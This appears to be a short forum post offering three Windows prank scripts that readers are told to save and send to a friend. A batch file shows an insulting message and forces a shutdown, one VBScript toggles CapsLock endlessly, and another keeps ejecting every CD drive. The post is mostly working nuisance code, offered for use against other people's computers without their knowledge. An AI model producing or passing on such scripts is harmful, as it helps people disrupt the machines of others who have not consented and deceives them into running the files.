Some of d dangerous tricks u can do 2 ur frds PC.

1) Convey your friend a little message and shut down his / her computer:
Type : Code:

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.
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2) Toggle your friend's CapsLock (i.e. on off capslock button option) button simultaneously very fast automatically :
Type : Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.
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3) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type : Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.
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Will Post More just wait...............